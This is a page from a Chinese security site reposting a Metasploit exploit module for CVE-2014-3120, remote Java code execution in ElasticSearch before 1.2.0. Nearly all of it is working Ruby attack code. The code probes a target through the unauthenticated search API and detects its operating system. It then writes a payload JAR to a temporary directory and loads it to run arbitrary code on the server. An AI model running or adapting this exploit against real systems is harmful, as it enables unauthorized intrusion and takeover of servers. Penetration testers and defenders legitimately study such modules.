首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ElasticSearch Dynamic Script Arbitrary Java Execution
来源:metasploit.com 作者:vazquez 发布时间:2014-06-03  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ElasticSearch Dynamic Script Arbitrary Java Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in ElasticSearch,
        exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the
        REST API, which requires no authentication or authorization, where the search
        function allows dynamic scripts execution, and can be used for remote attackers
        to execute arbitrary Java code. This module has been tested successfully on
        ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.
      },
      'Author'         =>
        [
          'Alex Brasetvik',     # Vulnerability discovery
          'Bouke van der Bijl', # Vulnerability discovery and PoC
          'juan vazquez'        # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2014-3120'],
          ['OSVDB', '106949'],
          ['EDB', '33370'],
          ['URL', 'http://bouk.co/blog/elasticsearch-rce/'],
          ['URL', 'https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch']
        ],
      'Platform'       => 'java',
      'Arch'           => ARCH_JAVA,
      'Targets'        =>
        [
          [ 'ElasticSearch 1.1.1 / Automatic', { } ]
        ],
      'DisclosureDate' => 'Dec 09 2013',
      'DefaultTarget' => 0))
  
      register_options(
        [
          Opt::RPORT(9200),
          OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]),
          OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ])
        ], self.class)
  end
  
  def check
    result = Exploit::CheckCode::Safe
  
    if vulnerable?
      result = Exploit::CheckCode::Vulnerable
    end
  
    result
  end
  
  def exploit
    print_status("#{peer} - Trying to execute arbitrary Java..")
    unless vulnerable?
      fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
    end
  
    print_status("#{peer} - Asking remote OS...")
    res = execute(java_os)
    result = parse_result(res)
    if result.nil?
      fail_with(Failure::Unknown, "#{peer} - Could not get remote OS...")
    else
      print_good("#{peer} - OS #{result} found")
    end
  
    jar_file = ""
    if result =~ /win/i
      print_status("#{peer} - Asking TEMP path")
      res = execute(java_tmp_dir)
      result = parse_result(res)
      if result.nil?
        fail_with(Failure::Unknown, "#{peer} - Could not get TEMP path...")
      else
        print_good("#{peer} - TEMP path found on #{result}")
      end
      jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"
    else
      jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar")
    end
  
    register_file_for_cleanup(jar_file)
    execute(java_payload(jar_file))
  end
  
  def vulnerable?
    addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two
  
    java = java_sum([addend_one, addend_two])
    res = execute(java)
    result = parse_result(res)
  
    if result.nil?
      return false
    else
      result.to_i == sum
    end
  end
  
  def parse_result(res)
    unless res && res.code == 200 && res.body
      return nil
    end
  
    begin
      json = JSON.parse(res.body.to_s)
    rescue JSON::ParserError
      return nil
    end
  
    begin
      result = json['hits']['hits'][0]['fields']['msf_result'][0]
    rescue
      return nil
    end
  
    result
  end
  
  def java_sum(summands)
    source = <<-EOF
#{summands.join(" + ")}
    EOF
  
    source
  end
  
  def to_java_byte_array(str)
    buff = "byte[] buf = new byte[#{str.length}];\n"
    i = 0
    str.unpack('C*').each do |c|
      buff << "buf[#{i}] = #{c};\n"
      i = i + 1
    end
  
    buff
  end
  
  def java_os
    "System.getProperty(\"os.name\")"
  end
  
  def java_tmp_dir
    "System.getProperty(\"java.io.tmpdir\");"
  end
  
  
  def java_payload(file_name)
    source = <<-EOF
import java.io.*;
import java.lang.*;
import java.net.*;
  
#{to_java_byte_array(payload.encoded_jar.pack)}
File f = new File('#{file_name.gsub(/\\/, "/")}');
FileOutputStream fs = new FileOutputStream(f);
bs = new BufferedOutputStream(fs);
bs.write(buf);
bs.close();
bs = null;
URL u = f.toURI().toURL();
URLClassLoader cl = new URLClassLoader(new java.net.URL[]{u});
Class c = cl.loadClass('metasploit.Payload');
c.main(null);
    EOF
  
    source
  end
  
  def execute(java)
    payload = {
      "size" => 1,
      "query" => {
        "filtered" => {
          "query" => {
            "match_all" => {}
          }
        }
      },
      "script_fields" => {
        "msf_result" => {
          "script" => java
        }
      }
    }
  
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path.to_s, "_search"),
      'method' => 'POST',
      'data'   => JSON.generate(payload)
    })
  
    return res
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Internet Explorer 11
·Ubuntu 12.04.0-2LTS x64 perf_s
·Wireshark CAPWAP Dissector - D
·Easy File Management Web Serve
·TORQUE Resource Manager 2.5.x-
·dbus-glib pam_fprintd - Local
·Easy File Sharing FTP Server 3
·Google Compute Engine Lateral
·Core FTP Server Version 1.2, b
·linux/x86 Netcat Shellcode 58
·Dotclear Media Manager Authent
·Sagem 2604 Password Disclosure
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved